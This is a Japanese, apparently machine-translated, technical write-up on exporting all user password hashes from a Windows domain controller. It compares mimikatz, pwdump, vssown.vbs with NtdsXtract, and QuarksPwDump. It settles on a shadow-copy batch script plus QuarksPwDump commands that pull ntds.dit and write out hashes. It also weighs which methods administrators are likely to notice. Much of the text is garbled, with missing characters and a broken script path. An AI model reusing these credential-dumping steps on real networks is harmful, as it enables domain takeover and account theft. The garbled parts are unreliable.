現在のドメイン内のすべてのユーザhashのテクノロジー整理をエクスポート


現在のドメイン内のすべてのユーザhashのテクノロジー整理をエクスポート
三好学生
· 2015/07/03 15:06
0 x 00ターゲット:
現在のドメイン内のすべてのユーザーのhashをエクスポート
0 x 01試験環境:
  :server2008 r2
    :   *
    :   net use    ,   3389

0 x 02試験方法:
(1)mimikatz:
hash  :          hash,        
  :    

(2)pwdump:
hash  :        
  :    

(3)vssown.vbs + libesedb + NtdsXtract
hash  :    
  :   
  :
           ,       :
    Record ID
    User name
    User principal name
    SAM Account name
    SAM Account type
    GUID
    SID
    When created
    When changed
    Account expires
    Password last set
    Last logon
    Last logon timestamp
    Bad password time
    Logon count
    Bad password count
    User Account Control
    Ancestors
    Password hashes
    Password history
    Supplemental credentials
    Member of

  :
    vssown.vbs             
    vssown.vbs     
         ,        
    libesedb + NtdsXtract      ,               ,        ,      
     vssown.vbs     ntds.dit       QuarksPwDump.exe         

Tips:libesedb+NtdsXtract環境構築のヒント:
(download libesedb)
https://github.com/libyal/libesedb/releases/download/20150409/libesedb-experimental-20150409.tar.gz
tar zxvf libesedb-experimental-20150409.tar.gz
cd libesedb-20150409
./configure
make
cd esedbtools/
./esedbexport
(copy ntds.dit to ~/libesedb-20150409/esedbtools)
./esedbexport ./ntds.dit
(wait...)
mv ntds.dit.export/ ../../
(download ntdsxtract)
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
unzip ntdsxtract_v1_0.zip
cd NTDSXtract 1.0/
(move SYSTEM to '/root/SYSTEM')
(get passwordhashes )
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'

(4)ntdsutil.exe + QuarksPwDump.exe
hash  :     
  :QuarksPwDump.exe     
  : 
            QuarksPwDump.exe  windows   ,  hash        
  : 
    ntdsutil.exe              ntdsutil.exe            ,QuarksPwDump.exe        server2003 shell     

0 x 03実際のテスト:
  • gethashes.exe:ソースコードがなく、
  • を無視
  • mimikatz:すべてのユーザーhashをキャプチャできず、ネイティブ管理者パスワードも
  • をエクスポートできません.
  • pwdump:キャプチャ数が
  • 未満
  • vssown.vbs+libesedb+NtdsXtract:成功、3日かかる+
  • ntdsutil.exe+QuarksPwDump.exe:ntdsutil.exeエラー、失敗
  • 0 x 04分析:
    5つの方法で唯一成功したのはvssown.vbs + libesedb + NtdsXtractですが、時間がかかりすぎて操作が面倒で、ダウンロードデータベースが露出しやすく、vssown.vbsバックアップの情報が管理者に発見されやすいです.
    他の方法で望ましい点:vssown.vbsデータベースをコピーする方法は巧みであるが、いくつかの不足があり、ドメイン制御のatコマンドに合わせて実行するのは面倒である.QuarksPwDump.exeはwindowsの下で直接使用することができて、データベースの読み取りの待機を免れて、しかもQuarksPwDumpはソースコードを得ることができて、実際の使用に協力して修正することができます.
    では、QuarksPwDump.exeを使用してドメイン制御でntds.ditを直接読み取るのが望ましいのではないでしょうか.
    0 x 05改善点:
    (1)vssown.vbsの複製方法を分析し、より良い解決方法を見つけ、ShadowCopyを用いてntds.ditの複製を実現する(2)QuarksPwDumpの改造を実現し、コマンドライン下の自動読み取りと導出情報を実現する
    Tips:
    ShadowCopy                ,           (`Volume Shadow Copy`)  ,                       ,
    
                ,        ,`ShadowCopy`        。
    

    0 x 06最終シナリオ:
    (1)ShadowCopyのコマンドライン版を使用して、batを作成してntds.ditを現在のディレクトリにコピーする
    setlocal
    if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
    set SOURCE_DRIVE_LETTER=%SystemDrive%
    set SOURCE_RELATIVE_PATH=\windows
    tds
    tds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vsshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

    参照リンク:http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx
    (2)QuarksPwDumpを使用して直接情報を読み取り、結果をファイルに書き出し、先に実行する
    esentutl /p /o ntds.dit
    

    コピーしたデータベースの修復
    QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt
    

    読み込みとエクスポート.
    注意:ntds.ditとlog.txtは、実際に使用する場合に絶対パスを追加する必要があります.
    Tips:
    QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process.
          ,vs2010      
    https://github.com/quarkslab/quarkspwdump
    

    0 x 07ノット:
    ShadowCopy+QuarksPwDump:
    hash  :    
      :   
      :
              
        bat    ,    
            ntds.dit,